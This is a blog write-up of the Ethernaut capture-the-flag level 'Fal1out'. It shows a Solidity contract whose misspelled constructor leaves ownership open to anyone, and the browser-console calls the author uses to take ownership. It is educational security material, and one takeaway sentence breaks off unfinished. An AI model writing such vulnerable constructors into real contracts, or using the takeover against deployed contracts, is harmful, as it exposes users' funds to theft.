# Ethernaut 2: Fal1out

By [0xbanky](https://paragraph.com/@banky) · 2022-08-15

---

Investigation
-------------

The problem is to claim ownership of the following contract

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    import '@openzeppelin/contracts/math/SafeMath.sol';
    
    contract Fallout {
      
      using SafeMath for uint256;
      mapping (address => uint) allocations;
      address payable public owner;
    
    
      /* constructor */
      function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
      }
    
      modifier onlyOwner {
                require(
                    msg.sender == owner,
                    "caller is not the owner"
                );
                _;
            }
    
      function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
      }
    
      function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
      }
    
      function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
      }
    
      function allocatorBalance(address allocator) public view returns (uint) {
        return allocations[allocator];
      }
    }
    

Reading through the contract, it seems like it serves as a sort of ledger. Users can allocate funds to the contract and send them between other allocators. The owner can call `collectAllocations` to withdraw all the funds in the contract. In the real world, it would be very enticing to be the owner of such a contract. Let's try to claim ownership.

Solution
--------

The only part of the contract where ownership is assigned is in the constructor. This constructor looks unexpected though because the name has a typo from the name of the contract. This means that we might be able to call the constructor function again after the contract has been initialized. Sure enough, calling the constructor function manually changes the owner to my address.

    await contract.owner()  
    // "0x0000000000000000000000000000000000000000"
    
    await contract.Fal1out()
    
    await contract.owner()  
    // "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252"
    

What I learned
--------------

1.  Learnt about the Rubixi exploit which inspired this level. In it, the contract was changed
    
2.  It's probably always better to just rely on the `constructor` directive for defining constructors

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-2-fal1out)*
